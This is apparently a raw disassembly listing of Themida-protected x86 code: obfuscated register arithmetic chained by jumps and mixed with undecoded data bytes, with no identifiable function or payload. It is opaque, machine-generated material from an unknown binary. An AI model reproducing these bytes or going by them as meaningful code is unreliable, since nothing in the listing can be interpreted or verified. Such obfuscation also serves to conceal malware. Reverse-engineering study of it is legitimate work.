loc_56366E:				; CODE XREF: Themida_:0056382Bj
		neg	ebx
		dec	ebx
		not	ebx
		shr	ebx, 5
		push	5C50h
		mov	[esp], ebp
		mov	ebp, 37A478BCh
		push	5C63h
		mov	[esp], ecx
		mov	ecx, 3F95952h
		xor	ebp, ecx
		pop	ecx
		xor	ebx, ebp
		pop	ebp
		add	ebx, 0CB6EE11Dh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552FBD
; ---------------------------------------------------------------------------
		db 0BDh, 0ECh, 1Ah
		dd 0D5F765F1h, 64A7C581h, 0F7553584h, 815D2414h, 0FD3083F5h
		dd 0B9E94D10h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636C7:				; CODE XREF: Themida_:0056570Fj
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	1850h
		jmp	loc_56513F
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0FFFF60CFh, 0F4E9E689h, 5CFFFF5Dh
		dd 81E28952h, 4C2h, 4EA8300h, 0E9241487h, 0FFFF4A1Ch, 7F36BBBBh
		dd 0E9EBD16Eh, 0FFFF23DBh
; ---------------------------------------------------------------------------


loc_56370C:				; CODE XREF: Themida_:005550B4j
		add	ecx, 0A01FE002h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_553391
; ---------------------------------------------------------------------------
		dd 0E7FFE95Bh
		db 2 dup(0FFh)
word_563726	dw 30ACh		; DATA XREF: Themida_:00552C78o
		dd 209EE9D8h, 0EC81FFFFh, 4, 89240C89h,	66E956F1h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56373F:				; CODE XREF: Themida_:0056047Ej
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55C959
; ---------------------------------------------------------------------------


loc_563748:				; CODE XREF: Themida_:005571D5j
					; Themida_:0055BB53j
		push	67ADh
		jmp	loc_55D996
; ---------------------------------------------------------------------------


loc_563752:				; CODE XREF: Themida_:0056209Ej
		dec	ecx
		add	ecx, 0FFFFFFFFh
		jmp	loc_55E405
; ---------------------------------------------------------------------------
		db 47h
		dd 0F704EFC1h, 0C6FAE9D7h, 1C33FFFFh, 24248B24h, 4EC81h
		dd 2C890000h, 0E9E58924h, 0FFFFEAD9h, 5124048Bh, 0C181E189h
		dd 4, 8704C183h, 248B240Ch, 0BDE95524h,	0F7FFFF0Ah, 90C781DFh
		dd 0E9057D01h, 0FFFF251Ah
; ---------------------------------------------------------------------------


loc_5637A4:				; CODE XREF: Themida_:0055A111j
		mov	ebx, 4
		sub	edi, 2BD832E1h
		add	edi, ebx
		add	edi, 2BD832E1h
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 0A4974F1h
		mov	eax, 0F5B68B13h
		add	eax, ebx
		pop	ebx
		add	edi, 14E10C23h
		add	edi, eax
		jmp	loc_55C6E2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E924048Fh, 0FFFF029Dh, 4B8h, 8BC50100h, 54522404h
		dd 0FF74D7E9h, 2C583FFh, 31242C33h, 2C33242Ch, 0C7A8E924h
		dd 525EFFFFh, 0C2815A54h, 4, 3304C283h,	14312414h, 24143324h
		dd 0EBE9515Ch
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563823:				; CODE XREF: Themida_:00559F1Ej
		mov	[esp], ebx
		mov	ebx, 2C4B6CE8h
		jmp	loc_56366E
; ---------------------------------------------------------------------------
		dd 0E95DEE01h, 892h, 4855F0BEh,	14C68173h, 2D8CB7AAh, 746503Bh
		dd 3B05F001h, 5E074650h, 4BF57h, 0F8010000h, 0FF55B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56385D:				; CODE XREF: Themida_:005596F2j
		mov	edx, [esp]
		jmp	loc_55B7C8
; ---------------------------------------------------------------------------


loc_563865:				; CODE XREF: Themida_:00559E72j
		sub	ebp, 5550195Eh
		add	edi, ebp
		jmp	loc_55B596
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FEF7CBE9h, 0A7C581FFh, 8B0BF80Eh, 0E956240Ch
		dd 0FFFFFE58h, 5C242C33h, 0FF3885E9h, 8B5450FFh, 89562404h
		dd 0CD6851E6h, 594C8E5Ah, 16B1E9h, 3A7E6800h, 4890000h
		dd 2474FF24h, 24048B04h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E95C243Ch, 4082h, 8704C183h, 875C240Ch, 87D7F7FBh
		dd 2E3C1FBh, 63D2EB81h,	0D98991E2h, 1DC7815Bh, 12E0C34h
		dd 1DBD55CFh, 812E0C34h, 5E5A23C7h, 81EF2960h, 5E5A23EFh
		dd 34FF5D60h, 0D8DCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56390E:				; CODE XREF: Themida_:0055C9A8j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_564426
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 8Bh
		dd 0C4812434h, 4, 6EB0E181h, 0BD552339h, 530144FAh, 5103EDC1h
		dd 0CA5AEEB9h, 15E98135h, 0E9F4A858h, 0FFFF1B0Bh, 4BEh
		dd 5EF12900h, 31240C33h, 0C33240Ch, 24E95C24h, 83FFFF87h
		dd 0F2E9FFEAh
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563963:				; CODE XREF: Themida_:005571A7j
		mov	ecx, 5C1E3868h
		push	58CFh
		jmp	loc_5672A1
; ---------------------------------------------------------------------------


loc_563972:				; CODE XREF: Themida_:00561BB9j
		sub	eax, 769B5119h
		push	dword ptr [esp]
		jmp	loc_553AB1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0A994E900h
		db 2 dup(0FFh)
word_56398A	dw 1CF6h		; DATA XREF: Themida_:00552A6Co
		dd 30E99C24h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563993:				; CODE XREF: Themida_:00555C5Bj
		xor	esi, 29812534h
		push	edi
		push	ebx
		jmp	loc_5620B5
; ---------------------------------------------------------------------------
		dd 0FD8858BEh, 5EF32912h, 242C8153h, 0F025802h,	2C6815Eh
		dd 8B0F0258h, 0C483241Ch, 87EE8704h, 54CE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5639C6:				; CODE XREF: Themida_:0055601Cj
		or	eax, 27EC1EBAh
		shr	eax, 4
		neg	eax
		jmp	loc_561A5B
; ---------------------------------------------------------------------------


loc_5639D5:				; CODE XREF: Themida_:00554049j
		inc	ebx
		jmp	loc_553E4F
; ---------------------------------------------------------------------------
		db 51h
		dd 730FFCB9h, 0CBD2E976h, 2C89FFFFh, 0A6BE5624h, 0E95E7F34h
		dd 3C77h, 72E9D831h, 59FFFF29h,	4C481h,	5E680000h, 8900007Dh
		dd 2BE2434h, 1000000h, 14875EF2h, 13A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A1A:				; CODE XREF: Themida_:00564C75j
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 651D648Ah
		xor	ecx, 2B2023FBh
		jmp	loc_565859
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF4FE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A3D:				; CODE XREF: Themida_:005596D2j
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		mov	cl, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	dh, cl
		pop	cx
		mov	ch, dh
		pop	edx
		xor	ch, 0D0h
		push	cx
		not	byte ptr [esp+1]
		mov	cx, [esp]
		jmp	loc_55FE13
; ---------------------------------------------------------------------------
		dd 5304C483h, 351E9ABBh, 22EFE928h, 0C481FFFFh,	4, 0FC3305Bh
		dd 8B66C0B6h, 65682414h, 0E9000079h, 0FFFFEB17h, 0B4505B66h
		dd 58E12048h, 68FFC180h, 39E1h,	51240489h, 0C9B4EDB5h
		dd 0FEA0B652h, 0F6DEF6CEh, 0B9F680D6h, 0C006E6C0h, 0E68003E6h
		dd 0F6CEFE37h, 242AE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AC2:				; CODE XREF: Themida_:00555403j
		mov	edi, ebp
		pop	ebp
		xor	ebp, edi
		pop	edi
		xor	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_56248A
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0FEF7ABE9h, 0F1E5E9FFh, 0E281FFFEh, 42DC2CB8h, 0F281D2F7h
		dd 0FD3FFB6Bh, 2CE9D101h
		db 2Eh,	2 dup(0FFh)
byte_563AF3	db 0FFh			; DATA XREF: Themida_:00552A2Co
		dd 34FF2434h, 240C8B24h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 57E38953h, 4BFh, 0D6EB8100h,	1718304h, 0D6C381FBh, 5F718304h
		dd 8704C383h, 835C241Ch, 0C8904ECh, 428AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B36:				; CODE XREF: Themida_:00566423j
		push	312Eh
		jmp	loc_559CA6
; ---------------------------------------------------------------------------
		dd 0FE35E580h, 4EC81C5h, 89000000h, 22B3241Ch, 3D12E9h
		db 0
; ---------------------------------------------------------------------------


loc_563B55:				; CODE XREF: Themida_:00558F4Aj
		push	edx
		push	esp
		jmp	loc_556451
; ---------------------------------------------------------------------------
dword_563B5C	dd 24048B66h, 0FFE655E9h ; DATA	XREF: Themida_:00552B10o
		db 0FFh
; ---------------------------------------------------------------------------


loc_563B65:				; CODE XREF: Themida_:0055ADE4j
		mov	edi, 5D6A1622h
		push	edi
		add	dword ptr [esp], 55A04277h
		jmp	loc_561344
; ---------------------------------------------------------------------------
		db 8Bh
		dd 95E9243Ch, 5AFFFF07h, 4C281h, 0BB530000h, 4,	1C8BDA01h
		dd 40A2E924h, 0C33FFFFh, 0A5DBE924h, 3489FFFFh,	4EC8124h
		dd 0E9000000h, 0FFFF0F9Eh
; ---------------------------------------------------------------------------


loc_563BAC:				; CODE XREF: Themida_:0055D294j
		mov	[ecx], bl
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55FFB8
; ---------------------------------------------------------------------------
		dw 38BBh
		dd 8142816Dh, 5D59C7EBh, 0F4C0E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BCE:				; CODE XREF: Themida_:00556B10j
		push	eax
		push	ebx
		mov	ebx, 23F6410Ah
		push	ebx
		mov	ebx, 49723C90h
		shl	ebx, 1
		shl	ebx, 6
		sub	ebx, 4FC24F3Ah
		add	ebx, 156D7C86h
		mov	eax, ebx
		pop	ebx
		xor	eax, ebx
		jmp	loc_565594
; ---------------------------------------------------------------------------


loc_563BF6:				; CODE XREF: Themida_:0055C6DDj
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_554774
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 24048B66h, 0FFA05EE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
		dd 0E9E8895Ch, 0FFFF48D8h
; ---------------------------------------------------------------------------


loc_563C28:				; CODE XREF: Themida_:00562152j
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		add	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55D228
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 22E4570Ah, 0FFD762E9h, 0FFF030FFh, 575A2434h, 0C7815F54h
		dd 4, 4B850h, 0C7010000h, 243C8758h, 5224248Bh,	0FF466DE9h
		dd 5EF321FFh, 795A68h, 24048900h, 0FF0464E9h, 240489FFh
		dd 0A3E928B4h, 8900002Ch, 405E0h, 42D0000h, 50000000h
		dd 0FF7253E9h, 4B951FFh, 1000000h, 0BA5259C8h, 47ED194Bh
		dd 0FF998CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563CAD:				; CODE XREF: Themida_:005611ADj
		pop	ecx
		jmp	loc_553E69
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF72C7E9h, 68DAF7FFh, 7FB2h, 50243489h, 0F53E3BB8h
		dd 3E3BBE5Eh, 0C6315EF5h, 0D541E958h, 0E689FFFFh, 0BF2E950h
		dd 62CFFFFh, 8B2434FFh,	0C481241Ch, 4, 4EC81h, 3C890000h
		dd 815F5424h, 4C7h, 0B5DE900h, 0C890000h, 3D926824h, 4E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563D0F:				; CODE XREF: Themida_:00552EC0j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		pop	edx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_55F006
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 24248B24h, 0E0AAE957h, 0C0FEFFFFh, 592C2204h, 2C07E0C0h
		dd 0E9C434A5h, 0FFFEEFB2h, 7F1DE72Dh, 6B9515Dh,	0E94C181Fh
		dd 0FFFFA502h, 0C244481h, 2F7C12BAh, 0C245C29h,	0C246C81h
		dd 2F7C12BAh, 68241C8Bh, 7AFCh,	89243489h, 4C681E6h, 50000000h
		dd 74663DB8h, 0A098E956h, 3489FFFFh, 0E9E68924h, 0FFFF178Dh
		dd 44FFE959h, 0E789FFFFh, 4BA52h, 33E90000h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563DAF:				; CODE XREF: Themida_:00553267j
		add	edi, 4
		jmp	loc_566EC5
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 535C2404h, 0E7C0E7B7h, 5EFC004h, 5258CF80h
		dd 0FF4BD4E9h, 2474FFFFh, 241C8B04h, 4C481h, 48F0000h
		dd 68575C24h, 46BB02BCh, 0FFC7835Fh, 17B868h, 24348900h
		dd 194F68h, 24148900h, 554953BAh, 0E9D68951h, 0FFFF104Dh
; ---------------------------------------------------------------------------


loc_563E0C:				; CODE XREF: Themida_:00564438j
		mov	eax, esi
		pop	esi
		add	ebp, 15D0498Bh
		add	ebp, eax
		sub	ebp, 15D0498Bh
		jmp	loc_557312
; ---------------------------------------------------------------------------


loc_563E22:				; CODE XREF: Themida_:0055DA5Aj
		or	eax, eax
		jz	loc_558333
		push	dword ptr [edi+1Ch]
		jmp	loc_554C5D
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0CC39EB87h, 0FF215DE9h, 6D8968FFh, 1C890000h, 4EC8324h
		dd 24048F54h, 0FF3686E9h, 162D5BFFh, 566EFA38h,	0FFE7BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E5D:				; CODE XREF: Themida_:00553AACj
		push	edi
		push	ecx
		mov	ecx, 462035E2h
		mov	edi, ecx
		jmp	loc_55FC4A
; ---------------------------------------------------------------------------


loc_563E6B:				; CODE XREF: Themida_:00558AE7j
		mov	esi, 37C00E72h
		jmp	loc_55E9D9
; ---------------------------------------------------------------------------


loc_563E75:				; CODE XREF: Themida_:0055392Fj
		shr	ecx, 6
		jmp	loc_55AC29
; ---------------------------------------------------------------------------
byte_563E7D	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00552A20o
		dd 0E9506651h, 0FFFEF96Eh, 0FEEE36E9h, 809DB3FFh, 0DC88F8C3h
		dd 8153525Bh, 4ECh, 24148900h, 0FFEE5FE9h, 8038B7FFh, 0FBE97EEFh
		dd 2C000028h, 0C388534Fh, 8B5BDD88h, 89562404h,	4C681E6h
		dd 0E9000000h, 0FFFFC32Ch, 2E60E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563ECE:				; CODE XREF: Themida_:0055AFE2j
		mov	ecx, 6A625CDDh
		add	ebx, ecx
		jmp	loc_5581A6
; ---------------------------------------------------------------------------


loc_563EDA:				; CODE XREF: Themida_:005633A4j
		shr	edi, 7
		jmp	loc_55903D
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 665C2404h, 0E924048Fh, 0FFFEEDD3h, 0D828CA2Ch, 0B652CA04h
		dd 41F68093h, 3CE92E2Ch, 5FFFFF64h, 0FF00D6E9h,	1C8B5CFFh
		dd 4C48124h, 33000000h,	0ABE9240Ch
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563F1B:				; CODE XREF: Themida_:0055EC57j
		mov	[esp], ebx
		jmp	loc_560387
; ---------------------------------------------------------------------------
		db 58h
		dd 0BF4E6905h, 6E122D09h, 0D8F75B78h, 0FF027BE9h, 24E981FFh
		dd 0E994F5C1h, 0FFFFD06Ah, 0E9DAF759h, 0FFFFFD71h, 0B60EA4B8h
		dd 754F3569h, 0D72D5691h, 5145D672h, 0FF6425E9h, 5AD701FFh
		dd 37BFE951h, 0C8B0000h, 2995E924h, 14890000h, 12BE5624h
		dd 507DA976h, 0FFFD0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563F7D:				; CODE XREF: Themida_:00556DBAj
		sub	ebp, 6E7B1DDEh
		add	ebp, ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 48619CFh
		jmp	loc_558751
; ---------------------------------------------------------------------------
		dd 794B46BBh, 0A5E9E921h, 0EA01FFFFh, 81242C8Bh, 4C4h
		dd 24143300h, 33241431h, 685C2414h, 464Ah, 0E9240489h
		dd 0FFFEECFFh
dword_563FC4	dd 0E924248Bh, 0FFFEECF7h, 595A515Dh, 7D73ADBEh, 827FE930h
					; DATA XREF: Themida_:00552B58o
		dd 0EC81FFFFh, 4, 0E9241C89h, 0FFFFFEA5h, 42474FFh, 24048F5Ah
		dd 1123E9h, 0B5C18100h,	8B596362h, 0C4832414h, 0FFC88904h
		dd 0C8B2434h, 4C48324h,	2A52E9h
		db 0
byte_564011	db 56h,	0FFh, 74h	; DATA XREF: Themida_:00552AC0o
		dd 34FF0424h, 24348B24h, 81E38953h, 4C3h, 4C38100h, 53000000h
		dd 42474FFh, 24048F5Bh,	0CC3EE95Ch, 5457FFFFh, 4C7815Fh
		dd 81000000h, 2EFh, 243C8700h, 0E924248Bh, 0FFFF4EB1h
; ---------------------------------------------------------------------------


loc_564054:				; CODE XREF: Themida_:005586B2j
		xor	al, cl
		pop	ecx
		push	esi
		mov	esi, esp
		push	5FF8h
		mov	[esp], eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 3C361292h
		add	esi, eax
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_55BE3F
; ---------------------------------------------------------------------------


loc_56408A:				; CODE XREF: Themida_:00554DF6j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_562F02
; ---------------------------------------------------------------------------
		db 0E9h, 25h, 0ECh
		dd 2489FFFEh, 24048124h, 4, 6824048Fh, 2870h, 89243489h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 5C0DE95Ch, 0FF56FFFFh
		dd 0E9042474h, 0FFFF4BF2h, 8107E6C1h, 156076E6h, 79BB5373h
		dd 94F115Bh, 0CE815BDEh, 5C6C1899h, 0FF6AB7E9h,	81E389FFh
		dd 4C3h, 4C38100h, 87000000h, 95C241Ch,	840FC9h, 54FFFF55h
		dd 0FFDADBE9h, 240CFFFFh, 0E9C14159h, 77C98103h, 0E946284Fh
		dd 0FFFFBD7Fh
; ---------------------------------------------------------------------------


loc_564124:				; CODE XREF: Themida_:0055FC38j
		add	edx, 385F360Ah
		jmp	loc_56072E
; ---------------------------------------------------------------------------


loc_56412F:				; CODE XREF: Themida_:0055A724j
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jmp	loc_564990
; ---------------------------------------------------------------------------


loc_564142:				; CODE XREF: Themida_:0055BE8Bj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 0EA815Fh, 292D1603h,	0C281C2h, 812D1603h, 4ECh, 876AE900h
		dd 815EFFFFh, 4C1h, 240C8700h, 0C75E95Ch, 21580000h, 77FF5BD8h
		dd 2430E91Ch
		db 2 dup(0)
word_564192	dw 8B66h		; DATA XREF: Themida_:00552BECo
		dd 6A68240Ch, 89000018h, 5F54243Ch, 0FF9C9DE9h,	81D3F7FFh
		dd 974976EBh, 5EF3817Eh, 29C29390h, 1AE95BDAh, 0B9FFFF40h
		dd 58DB7AEFh, 0E959CA01h, 0FFFF60F7h, 0FEEAF6E9h, 4C483FFh
		dd 39EABD55h, 0D5F711FFh, 81F1C581h, 0EE311460h, 0FFEEC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5641E5:				; CODE XREF: Themida_:0055F987j
		xor	eax, esi
		not	esi
		push	eax
		push	esi
		jmp	loc_564F21
; ---------------------------------------------------------------------------
		dd 5254E380h, 0D3305AB2h, 5BD9285Ah, 7DE9C1FEh,	1FFFFBEh
		dd 240C8BCAh, 0E904C483h, 0FFFFE809h, 5F2434FFh, 0FFBF7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564219:				; CODE XREF: Themida_:0055CA5Dj
		push	esi
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55CDCF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D2434h, 4ECh, 24148900h, 24148B54h, 5004C483h, 74BE9h
		dd 1BB85000h, 350B324Dh, 429032A4h, 3D6C2835h, 1CF0576h
		dd 0D82531E9h, 2D1FA861h, 1188013Ch, 786CC681h,	0C6014B75h
		dd 786CEE81h, 81584B75h, 4C6h, 24348700h, 8850535Ch, 58E788ECh
		dd 5B873C88h, 592434FFh, 0FF2ADAE9h, 16E95BFFh,	0FFFFFFA9h
		dd 5B042474h, 5C24048Fh, 14E2E9h, 2DD80100h, 4326D64h
		dd 2404875Bh, 0FF8B54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642C5:				; CODE XREF: Themida_:00559B3Dj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_555C73
; ---------------------------------------------------------------------------
		dd 0E6895652h, 0E904EC83h, 34C3h, 37E9E189h, 57FFFF3Ah
		dd 0FFA9FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642E9:				; CODE XREF: Themida_:0055C1C1j
		sub	ecx, 0E4B5EF01h
		jmp	loc_555F1E
; ---------------------------------------------------------------------------
		dd 398DEF81h, 85E958BEh, 56FFFF9Bh, 0FF660EE9h,	4C483FFh
		dd 3508E0C1h, 0B4BC0D02h, 91E9C101h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564317:				; CODE XREF: Themida_:00560169j
		mov	esi, 46A808AAh
		add	eax, 77676FABh
		sub	eax, esi
		push	edi
		mov	edi, 359079B3h
		jmp	loc_556DF4
; ---------------------------------------------------------------------------


loc_56432E:				; CODE XREF: Themida_:00557B36j
		xor	eax, ecx
		push	2F10h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_567577
; ---------------------------------------------------------------------------
		dd 15AD629h, 24348BF3h,	0FFCA9AE9h, 243489FFh, 390ABE66h
		dd 0FEF802E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564361:				; CODE XREF: Themida_:00553A40j
		shr	ebx, 1
		add	ebx, 5DB50474h
		add	ebx, 724B3BD1h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5626B3
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0E9F3283Bh, 0FFFF2D3Ch, 42474FFh, 24048F59h,	6624248Bh
		dd 8124048Bh, 4ECh, 242C8900h, 0FEBBE955h, 835AFFFEh, 53E904ECh
		dd 8BFFFFF9h, 0C4832434h, 0A6BF5704h, 31F7D6F5h, 8633E9F8h
		dd 0C481FFFFh, 4, 4C481h, 78680000h, 8900006Bh,	4BF243Ch
		dd 1000000h, 0BF31E9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643E2:				; CODE XREF: Themida_:00553CAEj
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_558BED
; ---------------------------------------------------------------------------


loc_5643FB:				; CODE XREF: Themida_:0055A32Fj
		mov	ebp, 809E5C9Eh
		add	edx, ebp
		jmp	loc_5562B0
; ---------------------------------------------------------------------------


loc_564407:				; CODE XREF: Themida_:0055F17Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_55669E
; ---------------------------------------------------------------------------


loc_56440F:				; CODE XREF: Themida_:00559BC5j
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_566EEA
; ---------------------------------------------------------------------------
aIssi_0		db '┴АИI,',0
		align 2


loc_564426:				; CODE XREF: Themida_:00563914j
		pop	esp
		sub	esi, 0FFFFFFFFh
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 0E82CF09Ah
		jmp	loc_563E0C
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 46h
		dd 8174963Ch, 507BDE6h,	9FC6801h, 0C890000h, 3B02E924h
		dd 0BE56FFFFh, 75FC11B4h, 21CABB53h, 0EB817852h, 2BC6E8F9h
		dd 0FEF034E9h, 7A10B8FFh, 0C609641Ch, 1BEE8158h, 311E6195h
		dd 24348BF0h, 0E904C483h, 88Ch,	4240481h, 58000000h, 2246E9h
		dd 81D6F700h, 0E2670DEEh, 2E6811Bh, 8146225Eh, 814623C6h
		dd 9FB9E908h, 23B2FFFFh, 0FF0DBBE9h, 57E189FFh,	0EC4284BFh
		dd 4E74E92Fh, 0E940FFFFh, 0FFFF5B30h, 0E904C483h, 0FFFF2C2Fh
dword_5644D0	dd 0FF2434FFh, 0CE92434h, 5B00001Bh, 31243C33h,	3C33243Ch
					; DATA XREF: Themida_:00552A74o
		dd 31665C24h, 0E99C2404h, 0FFFEE7D3h, 0B63EBABBh, 5BDF0167h
		dd 0FFC6A1E9h, 3340BDFFh, 0E5810EE3h, 6905164h,	1752C581h
		dd 0ED81046Eh, 53F04DEFh, 0CDE9D5F7h, 46FFFF9Fh, 0C681D6F7h
		dd 3748D59Ch, 0E95EF731h, 0FFFF5E39h
; ---------------------------------------------------------------------------


loc_56452C:				; CODE XREF: Themida_:00554023j
		mov	al, 10h
		sub	al, 85h
		push	ebx
		push	edx
		push	eax
		push	ebx
		mov	bh, 0F2h
		inc	bh
		push	edx
		mov	dl, 81h
		xor	bh, dl
		pop	edx
		shl	bh, 3
		dec	bh
		sub	bh, 73h
		jmp	loc_56696D
; ---------------------------------------------------------------------------
		db 0C3h
		dd 0FF7E07E9h
		db 0FFh
byte_564551	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00552B04o
		dd 411589Dh, 83E99C24h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56455F:				; CODE XREF: Themida_:0055B934j
		add	edi, 0D84CF5Eh
		mov	ebx, edi
		pop	edi
		mov	eax, 0B55E0954h
		sub	eax, ebx
		pop	ebx
		dec	eax
		jmp	loc_559D50
; ---------------------------------------------------------------------------


loc_564576:				; CODE XREF: Themida_:0055EC92j
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559394
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 0C2815A04h, 4, 4BB53h, 6F680000h,	89000074h
		dd 0C9E9243Ch, 5EFFFEEBh, 94E95E59h, 5600002Eh,	0FFF6FEE9h
		dd 700668FFh, 3C890000h, 4BF24h, 0F8010000h, 4055Fh, 95E90000h
		dd 83FFFF14h, 0A5E901C1h, 5BFFFF60h, 4C481h, 0C3010000h
		dd 8324048Bh, 8EE904C4h, 0FFFFFFD0h, 0F2E92434h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5645F3:				; CODE XREF: Themida_:00556CE8j
		mov	ebp, 740272C0h
		jmp	loc_5585FD
; ---------------------------------------------------------------------------


loc_5645FD:				; CODE XREF: Themida_:0055612Cj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shl	eax, cl
		push	eax
		jmp	loc_5589D9
; ---------------------------------------------------------------------------
		dw 8149h
		dd 907BCAE9h, 5FF931C5h, 8904EC83h, 3BBB241Ch, 16A211Fh
		dd 8B08245Ch, 0C483241Ch, 0A51EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56462E:				; CODE XREF: Themida_:0055A953j
		mov	ah, dh
		pop	edx
		push	edx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0E8h
		mov	al, 91h
		add	al, ch
		jmp	loc_5554BB
; ---------------------------------------------------------------------------


loc_564647:				; CODE XREF: Themida_:00562617j
		xor	ebx, [esp]
		jmp	loc_5573A0
; ---------------------------------------------------------------------------
		db 0BDh
		dd 16483493h, 0C246C01h, 0FF9F63E9h, 0C5815DFFh, 4, 1271BF57h
		dd 0DFF73B8Ah, 0FFB0A6E9h, 0F9EB81FFh, 8B308E20h, 6668243Ch
		dd 89000057h, 0E0892404h, 405h,	4BB5300h, 5000000h, 4326D64h
		dd 0FFFC1CE9h, 6E06BDFFh, 0E8E93687h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


